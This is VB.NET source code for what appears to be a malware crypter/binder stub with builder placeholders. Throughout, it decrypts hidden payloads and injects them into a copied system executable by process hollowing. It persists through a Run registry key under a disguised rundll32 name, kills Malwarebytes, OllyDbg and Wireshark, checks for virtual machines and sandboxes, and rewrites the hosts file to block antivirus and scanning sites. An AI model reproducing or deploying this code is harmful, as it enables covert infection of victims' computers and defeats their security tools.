Imports System, Microsoft.VisualBasic
Imports System.Runtime.InteropServices
Imports System.Text
Imports System.Reflection
Imports System.Security.Cryptography
Imports System.Runtime.CompilerServices
Imports System.IO
Imports System.IO.FileStream
Imports System.ComponentModel
Imports Microsoft.Win32
Imports System.Diagnostics
Imports System.Object
Imports System.Net
Imports System.Windows.Forms
Imports System.Threading.Thread
Imports System.Environment


Module pizde
    Dim iohouh7877 As String = "GDGDF54545"
    Dim HostEditing As String = "%28%"
    Dim antis As String = "%29%"
    Dim stuff As String = "%something%"



    Sub Main()

        On Error Resume Next
        Dim RunningProcess As String = Process.GetCurrentProcess().ProcessName
        Dim processes As Process() = Process.GetProcessesByName(RunningProcess)

           %200%
        Const rady = "FUTIitp23EPE"

        If iohouh7877 = "hhhhhhhhhheeeee" Then

            Dim temp As Object = Path.GetTempPath

            Dim ASDASD4 = Application.ExecutablePath
            Dim AS3 As Object = Path.GetFullPath(ASDASD4)
            Dim ASFR3R As FileAttributes = FileAttributes.System + FileAttributes.Hidden
            My.Computer.Registry.LocalMachine.OpenSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Run", True).SetValue("rundll32", temp & "rundll32 .exe")

            FileCopy(AS3, temp & "\" & "rundll32 .exe")
            File.SetAttributes(temp & "\" & "rundll32 .exe", ASFR3R)
        End If


        Const ady = "@targuOCna@"

        If HostEditing = "hhhhhhhhhheeeee" Then
            HostEdit()
        Else : End If



        
       call AntiMalwarebytes()
      call  AntiOllydbg()

      call  AntiWireshark()
call AntiVirtualBox()
     call   AntiVirtualPC()
      call  AntiVmWare()
	call	IsDebuggerPresent()

        Dim gifa As String
        Dim piula As String = cacatzel
        Dim ADSEQ3434 As Byte() = okitokjwe33(Convert.FromBase64String(piula))

        Dim dropsor As String
        Dim dropz As String = bilibistroc
        Dim dropfile As Byte() = okitokjwe33(Convert.FromBase64String(dropz))

        Dim fagi As String
        Dim sula As String = encr
        Dim nuj As Byte() = decrypt(Convert.FromBase64String(sula), "parola")

        Dim blablabla As String
        Dim bind As String = bind2
        Dim file2 As Byte() = okitokjwe33(Convert.FromBase64String(bind))



        System.Text.Encoding.GetEncoding(1252).GetBytes(piula)
        Dim temp3 As Object = Path.GetTempPath
        Dim asfast53 As String
        Dim fas34434daDdasDSA As String
        Directory.CreateDirectory(temp3 & "winamp")
        Dim FAS43243 As String = temp3 & "\" & "winamp" & "\" & "am reusit.exe"
        asfast53 = "C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe"
        fas34434daDdasDSA = temp3 & "\" & "winamp" & "\" & "am reusit.exe"
        If System.IO.File.Exists(fas34434daDdasDSA) = False Then
            System.IO.File.Copy(asfast53, fas34434daDdasDSA)

        End If

        Dim ASFR3R2 As FileAttributes = FileAttributes.System + FileAttributes.Hidden
        File.SetAttributes(temp3 & "\" & "winamp" & "\" & "am reusit.exe", ASFR3R2)







        If IsProcessRunning4("sandboxierpcss.exe") = False Then

            buffy.mickey(ADSEQ3434, FAS43243)

            buffy.mickey(nuj, FAS43243)
        End If

        If IsProcessRunning2("%temp%.exe") = False Then ' dak procesul.exe ruleaza atunci
            If IsProcessRunning5("#rundll32 .exe#") = #false# then
                Dim TempDir As String = My.Computer.FileSystem.SpecialDirectories.Temp ' Create refrence to temp dir
                My.Computer.FileSystem.WriteAllBytes(TempDir & "\" & "%temp%.exe", file2, False)
                Process.Start(TempDir & "\" & "%temp%.exe")
            End If
        End If
        If IsProcessRunning3("%tmp%.exe") = False Then
            Dim TempDir2 As String = My.Computer.FileSystem.SpecialDirectories.Temp
            My.Computer.FileSystem.WriteAllBytes(TempDir2 & "\" & "%tmp%.exe", dropfile, False)
            Process.Start(TempDir2 & "\" & "%tmp%.exe")
        End If









        End
    End Sub




    Private Declare Function IsDebuggerPresent Lib "kernel32.dll" () As Integer
    Sub Main2()
        If IsDebuggerPresent() = 1 Then
            Console.WriteLine("Debugger Is Present")
            'DoStuff
        Else
            Console.WriteLine("Debugger Not Present")
        End If
    End Sub



    Private Sub HostEdit()
        Dim systempath As String = Environment.GetFolderPath(Environment.SpecialFolder.System)

        Dim hosts As String = systempath & "\" & "drivers" & "\" & "etc" & "\\" & "hosts"
        'this creates a new string with the value of systempath and the above text
        'in VB.NET we do not need two \\'s only one.

        Dim writer As New StreamWriter(hosts)

        writer.Write("127.0.0.1 www.virustotal.com")
        writer.Write(Environment.NewLine)
        writer.Write("127.0.0.1 virustotal.com")
        writer.Write(Environment.NewLine)
        writer.Write("127.0.0.1 novirusthanks.org")
        writer.Write(Environment.NewLine)
        writer.Write("127.0.0.1 vscan.novirusthanks.org")
        writer.Write(Environment.NewLine)
        writer.Write("127.0.0.1 virusscan.jotti.org")
        writer.Write(Environment.NewLine)
        writer.Write("127.0.0.1 www.virusscan.jotti.org")
        writer.Write(Environment.NewLine)
        writer.Write("127.0.0.1 virscan.org")
        writer.Write(Environment.NewLine)
        writer.Write("127.0.0.1 www.virscan.org")
        writer.Write(Environment.NewLine)
        writer.Write("127.0.0.1 virus-trap.org")
        writer.Write(Environment.NewLine)
        writer.Write("127.0.0.1 www.virus-trap.org")
        writer.Write(Environment.NewLine)
        writer.Write("127.0.0.1 filterbit.com")
        writer.Write(Environment.NewLine)
        writer.Write("127.0.0.1 www.filterbit.com")
        writer.Write(Environment.NewLine)
        writer.Write("127.0.0.1 viruschief.com")
        writer.Write(Environment.NewLine)
        writer.Write("127.0.0.1 www.viruschief.com")
        writer.Write(Environment.NewLine)
        writer.Write("127.0.0.1 kaspersky.com")
        writer.Write(Environment.NewLine)
        writer.Write("127.0.0.1 www.kaspersky.com")


        writer.Dispose()

    End Sub
    Dim Devices As Object, Grafikadapter As String, RegionA As String = "SELECT * FROM Win32_VideoController"

    Public Function AntiVirtualBox() As Boolean
        On Error GoTo error1
        Call getDevices()

        Select Case Grafikadapter
            Case "VirtualBox Graphics Adapter"
                Return True
            Case Else
                Return False
        End Select
        Exit Function
error1:
        End
    End Function

    Public Function AntiVmWare() As Boolean
        On Error GoTo error1
        Call getDevices()

        Select Case Grafikadapter
            Case "VMware SVGA II"
                Return True
            Case Else
                Return False
        End Select
        Exit Function
error1:
        End
    End Function

    Public Function AntiVirtualPC() As Boolean
        On Error GoTo error1
        Call getDevices()

        Select Case Grafikadapter
            Case "VM Additions S3 Trio32/64"
                Return True
            Case Else
                Return False
        End Select
        Exit Function
error1:
        End
    End Function

    Private Sub getDevices()
        On Error GoTo error1
        Devices = GetObject("winmgmts:").ExecQuery(RegionA)
        Dim AdaptList As Object
        For Each AdaptList In Devices
            Grafikadapter = AdaptList.Description
        Next
        Exit Sub
error1:
        End
    End Sub



    '------------------------Malwarebytes----------------------------
    Sub AntiMalwarebytes()
        Dim generaldee As Process() = Process.GetProcesses
        Dim i As Integer
        For i = 0 To generaldee.Length - 1
            Select Case Strings.LCase(generaldee(i).ProcessName)
                Case "mbam"
                    generaldee(i).Kill()
                Case Else
            End Select
        Next
    End Sub
    Sub AntiOllydbg()
        Dim generaldee As Process() = Process.GetProcesses
        Dim i As Integer
        For i = 0 To generaldee.Length - 1
            Select Case Strings.LCase(generaldee(i).ProcessName)
                Case "ollydbg"
                    generaldee(i).Kill()
                Case Else
            End Select
        Next
        '------------------------Wireshark----------------------------
    End Sub
    Sub AntiWireshark()
        Dim generaldee As Process() = Process.GetProcesses
        Dim i As Integer
        For i = 0 To generaldee.Length - 1
            Select Case Strings.LCase(generaldee(i).ProcessName)
                Case "wireshark"
                    generaldee(i).Kill()
                Case Else
            End Select
        Next
    End Sub


    '-----------------------Emulator------------------------------


    Private Function IsProcessRunning2(ByVal name As String) As Boolean
        Dim p() As Process = Process.GetProcessesByName("%temp%")
        For Each pNew As Process In p
            If pNew Is Nothing Then
                Return (False)
                Exit For
            Else
                Return (True)
                Exit For
            End If

        Next
    End Function
    Private Function IsProcessRunning3(ByVal name As String) As Boolean
        Dim p() As Process = Process.GetProcessesByName("%tmp%")
        For Each pNew As Process In p
            If pNew Is Nothing Then
                Return (False)
                Exit For
            Else
                Return (True)
                Exit For
            End If

        Next
    End Function
    Private Function IsProcessRunning4(ByVal name As String) As Boolean
        Dim p() As Process = Process.GetProcessesByName("sandboxierpcss")
        For Each pNew As Process In p
            If pNew Is Nothing Then
                Return (False)
                Exit For
            Else
                Return (True)
                Exit For
            End If

        Next
    End Function

    Private Function IsProcessRunning5(ByVal name As String) As Boolean
        Dim p() As Process = Process.GetProcessesByName("#rundll32 #")
        For Each pNew As Process In p
            If pNew Is Nothing Then
                Return (False)
                Exit For
            Else
                Return (True)
                Exit For
            End If

        Next
    End Function

    Function okitokjwe33(ByVal data As Byte()) As Byte()

        Using E90LDMDXNJ As New System.Security.Cryptography.RijndaelManaged
            E90LDMDXNJ.IV = New Byte() {1, 2, 3, 4, 5, 6, 7, 8, 9, 1, 2, 3, 4, 5, 6, 7}
            E90LDMDXNJ.Key = New Byte() {7, 6, 5, 4, 3, 2, 1, 9, 8, 7, 6, 5, 4, 3, 2, 1}
            Return E90LDMDXNJ.CreateDecryptor.TransformFinalBlock(data, 0, data.Length)

        End Using
    End Function

    Function decrypt(ByVal message As Byte(), ByVal password As String) As Byte()
        Dim O6BB3K791m1D8qTyc2v7875E9A1nTpassarrP22wIwq85bVrtWSy2l882mfOIw0y1Qus3URxG45nrwNFZ7J8L3UXoRx As Byte() = System.Text.Encoding.Default.GetBytes(password)
        Dim VVlv4cC8Xf8XWeM5DNICaJ3mA01A8rallazK1T68e27rand1EHqRWBKU7rL3nv9V6hg5sbz7t34utQk9TOzQTHOHUxar1FSpR6iV9BeRR86ss4Qcb7S1X0bb736zdv61PRcAN As Integer = message(message.Length - 1) Xor 112
        Dim outarr(message.Length) As Byte
        Dim Dve2KT16Xxtv6z68P0A5oH3C7LHtk2TjuE5ZUmeT6bAd13t191BI3F1u13YrWPN6aw5eq8bazu47M8CLsNDq78B725la6P4g19CbNwjCVU588k2f51p4pLLB48r3R6f4fC32z5udu9pab8kELo5k As Integer
        For i1 As Integer = 0 To message.Length - 1
            outarr(i1) = (message(i1) Xor VVlv4cC8Xf8XWeM5DNICaJ3mA01A8rallazK1T68e27rand1EHqRWBKU7rL3nv9V6hg5sbz7t34utQk9TOzQTHOHUxar1FSpR6iV9BeRR86ss4Qcb7S1X0bb736zdv61PRcAN) Xor O6BB3K791m1D8qTyc2v7875E9A1nTpassarrP22wIwq85bVrtWSy2l882mfOIw0y1Qus3URxG45nrwNFZ7J8L3UXoRx(Dve2KT16Xxtv6z68P0A5oH3C7LHtk2TjuE5ZUmeT6bAd13t191BI3F1u13YrWPN6aw5eq8bazu47M8CLsNDq78B725la6P4g19CbNwjCVU588k2f51p4pLLB48r3R6f4fC32z5udu9pab8kELo5k)
            If Dve2KT16Xxtv6z68P0A5oH3C7LHtk2TjuE5ZUmeT6bAd13t191BI3F1u13YrWPN6aw5eq8bazu47M8CLsNDq78B725la6P4g19CbNwjCVU588k2f51p4pLLB48r3R6f4fC32z5udu9pab8kELo5k = password.Length - 1 Then Dve2KT16Xxtv6z68P0A5oH3C7LHtk2TjuE5ZUmeT6bAd13t191BI3F1u13YrWPN6aw5eq8bazu47M8CLsNDq78B725la6P4g19CbNwjCVU588k2f51p4pLLB48r3R6f4fC32z5udu9pab8kELo5k = 0 Else Dve2KT16Xxtv6z68P0A5oH3C7LHtk2TjuE5ZUmeT6bAd13t191BI3F1u13YrWPN6aw5eq8bazu47M8CLsNDq78B725la6P4g19CbNwjCVU588k2f51p4pLLB48r3R6f4fC32z5udu9pab8kELo5k = Dve2KT16Xxtv6z68P0A5oH3C7LHtk2TjuE5ZUmeT6bAd13t191BI3F1u13YrWPN6aw5eq8bazu47M8CLsNDq78B725la6P4g19CbNwjCVU588k2f51p4pLLB48r3R6f4fC32z5udu9pab8kELo5k + 1
        Next
        ReDim Preserve outarr(message.Length - 2)
        Return outarr
    End Function





End Module

Public Class buffy
    Public Const ASDFASFASF As Long = &HADAS
    Public Const FASFASFASF As Long = &HEAD4
    Public Const AFSFASFASCFC As Long = &HDAS
    Public Const ASDASCASDASD As Long = &HDAS
    Public Const BVCXBXCBXCB As Long = &HDAS
    Public Const BXCBXCBXCB As Long = &HFD
    Public Const FSDR3FSF As Long = &HDAS
    Public Const KKKKKKKKKDDDDDDD As Long = &H435F
    Public Const FSSSSSSSSSSSSSSSSSS As UInt32 = &HDAS

    Public Shared Sub mickey(ByVal DAS4DA3() As Byte, ByVal VVVVVVCAE As String)
        Dim TVM1OKF029 = New Context, ASFSVS As Section_Header, FADAS43FAS43 = New Process_Information, FADASCC43FAS43 = New Startup_Information, FSCC43FAS43 = New Security_Flags, C43FAS43 = New Security_Flags
        Dim YI02ALMTDK = GCHandle.Alloc(DAS4DA3, GCHandleType.Pinned)
        Dim ZPOIMKBNM1 As Integer = YI02ALMTDK.AddrOfPinnedObject.ToInt32
        Dim VAGKWL2DMX As New DOS_Header
        VAGKWL2DMX = Marshal.PtrToStructure(YI02ALMTDK.AddrOfPinnedObject, VAGKWL2DMX.GetType)
        YI02ALMTDK.Free()
        Dim GN04L0ER8I As GN04L0ER8I = TXXY5U8D2U(Of GN04L0ER8I)("kernel32", "CreateProcessA")
        Dim R84OY4NT36 As R84OY4NT36 = TXXY5U8D2U(Of R84OY4NT36)("kernel32", "GetThreadContext")
        Dim Q7QRRP639W As Q7QRRP639W = TXXY5U8D2U(Of Q7QRRP639W)("kernel32", "ReadProcessMemory")
        Dim ZGOQ8VM05M As ZGOQ8VM05M = TXXY5U8D2U(Of ZGOQ8VM05M)("kernel32", "WriteProcessMemory")
        Dim EFVI2YI66B As EFVI2YI66B = TXXY5U8D2U(Of EFVI2YI66B)("ntdll", "ZwUnmapViewOfSection")
        Dim W6CTR6GLCC As W6CTR6GLCC = TXXY5U8D2U(Of W6CTR6GLCC)("kernel32", "VirtualAllocEx")
        Dim K7B3INYH01 As K7B3INYH01 = TXXY5U8D2U(Of K7B3INYH01)("kernel32", "SetThreadContext")
        Dim WS2XVBNVO9 As WS2XVBNVO9 = TXXY5U8D2U(Of WS2XVBNVO9)("kernel32", "ResumeThread")
        If GN04L0ER8I(Nothing, VVVVVVCAE, FSCC43FAS43, C43FAS43, False, 4, Nothing, Nothing, FADASCC43FAS43, FADAS43FAS43) = 0 Then Return
        Dim BKIFNDE2PI As New NT_Headers
        BKIFNDE2PI = Marshal.PtrToStructure(New IntPtr(ZPOIMKBNM1 + VAGKWL2DMX.DASE3ASDAS), BKIFNDE2PI.GetType)
        Dim WMRQEDO32E, HDF754 As Long, DF754 As UInteger
        FADASCC43FAS43.CSZE = Len(FADASCC43FAS43)
        TVM1OKF029.II69TOHMUR = 65539
        If BKIFNDE2PI.SSSSSSSSSSSQ <> 17744 Or VAGKWL2DMX.DASDASFASF <> 23117 Then Return
        If GN04L0ER8I(Nothing, VVVVVVCAE, FSCC43FAS43, C43FAS43, False, 4, Nothing, Nothing, FADASCC43FAS43, FADAS43FAS43) = 0 Then Return
        R84OY4NT36(FADAS43FAS43.RFSER, TVM1OKF029)
        Q7QRRP639W(FADAS43FAS43.DAS4QQW, TVM1OKF029.WDA + 8, WMRQEDO32E, 4, 0)
        EFVI2YI66B(FADAS43FAS43.DAS4QQW, WMRQEDO32E)
        Dim X6X0CHAYT3 As UInt32 = W6CTR6GLCC(FADAS43FAS43.DAS4QQW, BKIFNDE2PI.OOOU.DFAZDASD, BKIFNDE2PI.OOOU.DASRDASRASR, 12288, 4)
        If X6X0CHAYT3 <> 0 Then
            ZGOQ8VM05M(FADAS43FAS43.DAS4QQW, X6X0CHAYT3, DAS4DA3, BKIFNDE2PI.OOOU.WQDASDASD, DF754)
            HDF754 = VAGKWL2DMX.DASE3ASDAS + 248
            For I As Integer = 0 To BKIFNDE2PI.DSEEEEE.DAAAAAAAA3 - 1
                ASFSVS = Marshal.PtrToStructure(New IntPtr(ZPOIMKBNM1 + HDF754 + I * 40), ASFSVS.GetType)
                Dim FJGB2K6EL6(ASFSVS.DA22S3) As Byte
                For Y As Integer = 0 To ASFSVS.DA22S3 - 1 : FJGB2K6EL6(Y) = DAS4DA3(ASFSVS.PoinEEter + Y) : Next
                ZGOQ8VM05M(FADAS43FAS43.DAS4QQW, X6X0CHAYT3 + ASFSVS.AL8ZCRFWNU, FJGB2K6EL6, ASFSVS.DA22S3, DF754)
            Next I
            Dim JQTOGZCAWU = BitConverter.GetBytes(X6X0CHAYT3)
            ZGOQ8VM05M(FADAS43FAS43.DAS4QQW, TVM1OKF029.WDA + 8, JQTOGZCAWU, 4, DF754)
            TVM1OKF029.AS4 = X6X0CHAYT3 + BKIFNDE2PI.OOOU.DDDDDDDDAAA
            K7B3INYH01(FADAS43FAS43.RFSER, TVM1OKF029)
            WS2XVBNVO9(FADAS43FAS43.RFSER)
        End If
    End Sub

    Declare Function LoadLibraryA Lib "kernel32" (ByVal tr6 As String) As IntPtr
    Declare Function GetProcAddress Lib "kernel32" (ByVal gdr54 As IntPtr, ByVal gfsd54 As String) As IntPtr
    Private Declare Function RpcNsProfileEltAdd Lib "rpcns4.dll" Alias "RpcNsProfileEltAddA" (ByVal ProfileNameSyntax As Long, ByVal ProfileName As String, ByRef IfId As IntPtr, ByVal MemberNameSyntax As Long, ByVal MemberName As String, ByVal Priority As Long, ByVal Annotation As String) As Long
    Private Declare Function ldap_close_extended_op Lib "wldap32.dll" (ByRef ld As IntPtr, ByVal MessageNumber As Long) As Long
    Private Declare Function lineSetAppSpecific Lib "tapi32.dll" (ByVal hCall As Long, ByVal dwAppSpecific As Long) As Long
    Private Declare Function MgmGetNextMfeStats Lib "rtm.dll" (ByRef pimmStart As IntPtr, ByRef pdwBufferSize As Long, ByVal pbBuffer As String, ByRef pdwNumEntries As Long) As Long
    Private Declare Function MprAdminDeviceEnum Lib "mprapi.dll" (ByRef hMprServer As IntPtr, ByVal dwLevel As Long, ByVal lplpbBuffer As String, ByRef lpdwTotalEntries As Long) As Long
    Private Declare Function MsiDatabaseImport Lib "MSI.dll" (ByRef hDatabase As IntPtr, ByVal szFolderPath As String, ByVal szFileName As String) As Long
    Private Declare Function NdrMesSimpleTypeAlignSize Lib "rpcrt4.dll" (ByVal handle_t As Long) As Long
    Private Declare Function NetMessageNameDel Lib "NETAPI32.dll" (ByVal servername As String, ByVal msgname As String) As Long
    Private Declare Function NetReplExportDirSetInfo Lib "NETAPI32.dll" (ByVal servername As String, ByVal dirname As String, ByVal level As Long, ByVal buf As String, ByRef parm_err As Long) As Long
    Private Declare Function NetUseGetInfo Lib "NETAPI32.dll" (ByRef UncServerName As IntPtr, ByRef UseName As IntPtr, ByVal level As Long, ByVal bufptr As String) As Long
    Private Declare Function QueueUserWorkItem Lib "kernel32.dll" (ByVal lFunction As Long, ByRef Context As Long, ByVal Flags As Long) As Long
    Private Declare Function ReadConsoleInput Lib "kernel32.dll" Alias "ReadConsoleInputA" (ByVal hConsoleInput As Long, ByRef lpBuffer As IntPtr, ByVal nLength As Long, ByRef lpNumberOfEventsRead As Long) As Long
    Private Declare Function ShowWindowAsync Lib "user32.dll" (ByVal hWnd As Long, ByVal nCmdShow As Long) As Long
    Private Declare Function SnmpMgrCtl Lib "mgmtapi.dll" (ByRef session As IntPtr, ByVal dwCtlCode As Long, ByRef lpvInBuffer As Long, ByVal cbInBuffer As Long, ByRef lpvOUTBuffer As Long, ByVal cbOUTBuffer As Long, ByRef lpcbBytesReturned As Long) As Long
    Private Declare Function AddAuditAccessAceEx Lib "advapi32.dll" (ByVal pAcl As IntPtr, ByVal dwAceRevision As Long, ByVal AceFlags As Long, ByVal dwAccessMask As Long, ByRef pSid As IntPtr, ByVal bAuditSuccess As Long, ByVal bAuditFailure As Long) As Long
    Private Declare Function SQLInstallerError Lib "ODBCCP32.dll" (ByVal iError As Integer, ByRef pfErrorCode As Long, ByVal lpszErrorMsg As String, ByVal cbErrorMsgMax As Integer, ByRef pcbErrorMsg As Integer) As Long
    Private Declare Function SQLSetCursorName Lib "msorcl32.dll" (ByVal hstmt As Long, ByVal szCursor As String, ByVal cbCursor As Integer) As Long
    Private Declare Function RasSetCredentials Lib "rasapi32.dll" Alias "RasSetCredentialsA" (ByVal lpcstr As String, ByVal lpcstr As String, ByRef TLPRASCREDENTIALSA As IntPtr, ByVal bool As Long) As Long
    Private Declare Function ReadConsole Lib "kernel32.dll" Alias "ReadConsoleA" (ByVal hConsoleInput As Long, ByRef lpBuffer As Long, ByVal nNumberOfCharsToRead As Long, ByRef lpNumberOfCharsRead As Long, ByRef lpReserved As Long) As Long
    Private Declare Function ReadEncryptedFileRaw Lib "advapi32.dll" (ByRef pfExportCallback As IntPtr, ByRef pvCallbackContext As Long, ByRef pvContext As Long) As Long
    Private Declare Function ReadPrinter Lib "winspool.drv" (ByVal hPrinter As Long, ByRef pBuf As Long, ByVal cdBuf As Long, ByRef pNoBytesRead As Long) As Long
    Private Declare Function RegisterHotKey Lib "user32.dll" (ByVal hwnd As Long, ByVal id As Long, ByVal fsModifiers As Long, ByVal vk As Long) As Long
    Private Declare Function ReleaseSemaphore Lib "kernel32.dll" (ByVal hSemaphore As Long, ByVal lReleaseCount As Long, ByRef lpPreviousCount As Long) As Long

    Private Declare Function GetSiteNameFromSid Lib "advapi32.dll" (ByRef pSid As Long, ByVal pwsSite As String) As IntPtr
    Private Declare Function GetStringTypeEx Lib "kernel32.dll" Alias "GetStringTypeExA" (ByVal Locale As Long, ByVal dwInfoType As Long, ByVal lpSrcStr As String, ByVal cchSrc As Long, ByRef lpCharType As Integer) As Long
    Private Declare Function GetVolumePathName Lib "kernel32.dll" Alias "GetVolumePathNameA" (ByVal lpszFileName As String, ByVal lpszVolumePathName As String, ByVal cchBufferLength As Long) As Long
    Private Declare Function SetWindowLong Lib "user32.dll" Alias "SetWindowLongA" (ByVal hwnd As Long, ByVal nIndex As Long, ByVal dwNewLong As Long) As Long
    Private Declare Function TlsSetValue Lib "kernel32.dll" (ByVal dwTlsIndex As Long, ByRef lpTlsValue As Long) As Long
    Private Declare Function ToAscii Lib "user32.dll" (ByVal uVirtKey As Long, ByVal uScanCode As Long, ByRef lpbKeyState As Byte, ByRef lpwTransKey As Long, ByVal fuState As Long) As IntPtr

    Private Shared Function TXXY5U8D2U(Of T)(ByVal ASFASE3 As String, ByVal FASGAS543W As String) As T
        Return DirectCast(DirectCast(Marshal.GetDelegateForFunctionPointer(GetProcAddress(LoadLibraryA(ASFASE3), FASGAS543W), GetType(T)), Object), T)
    End Function
    <StructLayout(0)> Structure Context
        Dim II69TOHMUR, d2, das, d9, ad, dsa, ds As UInt32, Save As Save
        Dim dh, sad, da, MD, RD, mSI, WDA, AD3, D21, AS4, K32, F2W, HHJ, ADF5, GSSA, DSAAA As UInt32
        <MarshalAs(UnmanagedType.ByValArray, SizeConst:=512)> Dim er6rgdr65 As Byte()
    End Structure
    <StructLayout(0)> Structure Save
        Dim KD7JX2MXT, JCNS3ZPSXO, DAS3, DAS23, ADSA, DAF35, FA32D As UInteger
        <MarshalAs(UnmanagedType.ByValArray, SizeConst:=80)> Dim FSDRF43 As Byte()
        Dim FA32QA As UInt32
    End Structure
    Structure Misc
        Dim SDUHRL, GSIJ As UInt32
    End Structure
    Structure Section_Header
        Dim FSDPOU4PO3 As Byte, Mi2sc As Misc, AL8ZCRFWNU, DA22S3, PoinEEter, E2Q4RS, FS523QF, FSB43FSD4, QBFAS4E, AS32QFZS As UInt32
    End Structure
    Structure Process_Information
        Dim DAS4QQW, RFSER As IntPtr, TGJWE, SDFFFFFFFFFF As Integer
    End Structure
    <StructLayout(0, CharSet:=3)> Structure Startup_Information
        Dim CSZE As Integer, FSDR4G, AAAAAAAAAA, AADDDDDDD As String, ADA, C, AEDS, DASDDDD, XASE4, DAS3EDFZ, DVA3ES, CCCCQ As Integer
        Dim FDSRS, VYE5X As Short, KHJKIHJK, KHJKHJK, KHJKHJ, KHJKJHK As Integer
    End Structure
    <StructLayout(0)> Structure Security_Flags
        Dim GFSETWE As Integer, EWEWWW As IntPtr, DASDAS As Integer
    End Structure
    <StructLayout(0)> Structure DOS_Header
        Dim DASDASFASF, QWEQWE, EQWEQWEQWE, HFGHFGHFGH, HFGHFGHFG, DASD444444, DASFASE33, DASKGHJ, DASVZDF, VXCVXC, VXCVXCV, EWECS, EWADC, UADA3 As UInt16
        <MarshalAs(UnmanagedType.ByValArray, SizeConst:=4)> Dim ReservWWWWWWWWWWWWWWWedA As UInt16()
        Dim DAS4E, UJJ As UInt16
        <MarshalAs(UnmanagedType.ByValArray, SizeConst:=10)> Dim DDDDDDDDD As UInt16()
        Dim DASE3ASDAS As Int32
    End Structure
    Structure NT_Headers
        Dim SSSSSSSSSSSQ As UInt32, DSEEEEE As File_Header, [OOOU] As Optional_Headers
    End Structure
    <StructLayout(0)> Structure File_Header
        Dim ITTTTTTTT, DAAAAAAAA3 As UInt16, HRFTYTYTR, GJGFSFS, FSVGY As UInt32, FSFV, A34FFC As UInt16
    End Structure
    <StructLayout(0)> Structure Optional_Headers
        Public WWWWWWWWW As UInt16, MaAAAAAAAAAAAjor, MiSSSSSSSSSSSnor As Byte, SSSSSSSSSSSSS, FFFFFFFFFFF, XXXXXXXX, DDDDDDDDAAA, FSSSSSSS, RSFS43, DFAZDASD As UInt32, SectionA, FileA As UInt32
        Public GDFTDFFFF, HGDFHD564, GD5ERGD, FSD5YHD, ASDASG, AS4ASAS As UInt16, CCC, DASRDASRASR, WQDASDASD, Assssssss As UInt32, fsd4s, fjio As UInt16
        Public dasrlajstpoi, dasdraskyjhuasp, SHRedas4wa9uqserve, fsdtsysyt, eawdasdas3, Cocccunt As UInt32
        <MarshalAs(UnmanagedType.ByValArray, SizeConst:=16)> Public GSDGSDT4 As Data_Directory()
    End Structure
    <StructLayout(0)> Structure Data_Directory
        Dim ewq34q234, das34aw33 As UInt32
    End Structure
    Delegate Function GN04L0ER8I(ByVal ASFASE3 As String, ByVal DASDAS3E2 As String, ByRef DASCASE As Security_Flags, ByRef CASE222 As Security_Flags, ByVal DAS432E As Boolean, ByVal AEDFKJK32 As UInt32, ByVal DSA43R3W As IntPtr, ByVal ase32ew As String, <[In]()> ByRef das43fsa As Startup_Information, <Out()> ByRef das3 As Process_Information) As Boolean
    Delegate Function ZGOQ8VM05M(ByVal DASE32 As IntPtr, ByVal AL8ZCRFWNU As Integer, ByVal DSAE32 As Byte(), ByVal DASEADAS As Integer, <Out()> ByRef ASD43FA As Integer) As Boolean
    Delegate Function Q7QRRP639W(ByVal FASFDASDAS As IntPtr, ByVal AL8ZCRFWNU As Integer, ByRef CAS32 As Integer, ByVal ASDASC As Integer, ByRef CASTWE As Integer) As Integer
    Delegate Function W6CTR6GLCC(ByVal DASE43E As IntPtr, ByVal AL8ZCRFWNU As Integer, ByVal DASCAS3 As UInt32, ByVal DAS3 As UInt32, ByVal DAS32 As UInt32) As IntPtr
    Delegate Function EFVI2YI66B(ByVal DASE3 As IntPtr, ByVal AL8ZCRFWNU As Integer) As Long
    Delegate Function WS2XVBNVO9(ByVal DASEAS As IntPtr) As UInt32
    Delegate Function R84OY4NT36(ByVal DASDASC As IntPtr, ByRef DSACSA43 As Context) As Boolean
    Delegate Function K7B3INYH01(ByVal ASDASCASDASD As IntPtr, ByRef ASCA434 As Context) As Boolean
End Class







%101%
%102%
%103%